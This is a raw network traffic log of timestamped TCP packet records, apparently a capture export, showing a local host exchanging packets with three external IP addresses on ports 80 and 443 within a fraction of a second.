Apr 26, 2024 11:06:10.598020077 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.598021984 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598084927 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598123074 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598128080 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.598191977 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598248959 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.598289967 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598356009 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598402023 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.598407030 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598474026 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598519087 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598519087 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.598592043 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598639965 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.598643064 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598699093 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598747015 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.598758936 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598810911 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598849058 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.598880053 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598931074 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.598993063 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.599011898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599052906 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599100113 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.599133968 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599179029 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599224091 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.599242926 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599276066 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599320889 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.599356890 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599390984 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599447012 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599446058 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.599512100 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599559069 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.599572897 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599620104 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599662066 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.599679947 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599747896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599792004 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.599796057 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599833012 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599878073 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.599900007 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.599956989 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600001097 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.600018024 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600049019 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600095034 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.600135088 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600167990 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600213051 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.600239992 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600271940 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600332022 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.600343943 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600395918 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600440979 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600444078 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.600485086 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600531101 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.600553036 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600610971 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600653887 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.600704908 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600764036 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600804090 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.600824118 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600862026 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600900888 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.600938082 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.600976944 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601028919 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.601054907 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601088047 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601130962 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601133108 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.601210117 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601248980 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.601274014 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601305962 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601345062 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.601377964 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601429939 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601501942 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601520061 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601551056 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.601584911 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.601617098 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601861000 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601943016 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.601996899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602040052 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.602118969 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602132082 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602169037 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602174997 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.602226019 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602269888 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.602284908 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602344990 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602397919 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.602425098 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602454901 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602493048 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.602498055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602562904 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602603912 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.602616072 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602669954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602710962 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.602725029 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602797985 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602838993 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.602845907 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602894068 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.602932930 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.602946997 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603018045 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603060961 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.603071928 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603179932 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603218079 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.603244066 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603291988 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603332996 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.603339911 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603406906 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603445053 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.603454113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603507996 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603565931 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.603574038 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603672981 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.603724003 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.629553080 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.641598940 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.689740896 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.693136930 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693151951 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693171978 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693227053 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.693232059 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693272114 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.693272114 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.693300009 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693319082 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693356991 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.693413973 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693449974 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.693460941 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693497896 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.693512917 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693542004 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693579912 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.693619013 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693659067 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.693697929 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.694077969 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694133997 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694174051 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.694200039 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694216967 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694261074 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.694288969 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694349051 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694387913 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.694394112 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694442987 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694482088 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.694483042 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694538116 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694575071 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.694592953 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694636106 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694677114 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.694689035 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694737911 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.694777966 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.695349932 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695417881 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695460081 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.695475101 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695553064 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695589066 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695595980 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.695647001 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695688963 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.695724964 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695760965 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695797920 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.695836067 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695905924 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.695944071 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.695950985 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696007013 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696046114 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.696063995 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696120024 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696161985 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.696192980 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696235895 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696276903 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.696343899 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696389914 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696391106 CEST	443	49715	45.130.41.108	192.168.2.5
Apr 26, 2024 11:06:10.696439028 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.696441889 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696491957 CEST	443	49715	45.130.41.108	192.168.2.5
Apr 26, 2024 11:06:10.696504116 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696538925 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.696553946 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696561098 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.696573973 CEST	49715	443	192.168.2.5	45.130.41.108
Apr 26, 2024 11:06:10.696623087 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696640968 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696679115 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.696702003 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696732044 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696772099 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.696811914 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696844101 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696881056 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.696897984 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.696962118 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697000027 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697009087 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697077036 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697118044 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697144985 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697186947 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697225094 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697244883 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697302103 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697340965 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697360992 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697416067 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697417974 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697449923 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697489977 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697494984 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697561979 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697602034 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697608948 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697654963 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697695971 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697719097 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697736979 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697774887 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697849035 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697891951 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697931051 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.697938919 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.697995901 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698035002 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.698038101 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698091984 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698132038 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.698143005 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698174000 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698213100 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.698293924 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698374033 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698415995 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.698421001 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698462009 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698503017 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.698512077 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698577881 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698610067 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698616982 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.698678017 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698717117 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.698744059 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698760986 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.698798895 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.698916912 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699124098 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699163914 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.699202061 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699278116 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699318886 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.699320078 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699342012 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699381113 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.699402094 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699469090 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699510098 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.699522018 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699578047 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699615002 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.699625969 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699668884 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699711084 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.699785948 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699843884 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699882984 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.699920893 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.699944973 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700004101 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700043917 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.700059891 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700120926 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700162888 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.700169086 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700197935 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700237036 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.700258017 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700309038 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700349092 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.700371027 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700392962 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700433969 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.700449944 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700489044 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700529099 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.700551987 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700607061 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700633049 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700647116 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.700717926 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700747013 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700757027 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.700830936 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700875998 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.700911999 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.700978994 CEST	80	49712	185.172.128.76	192.168.2.5
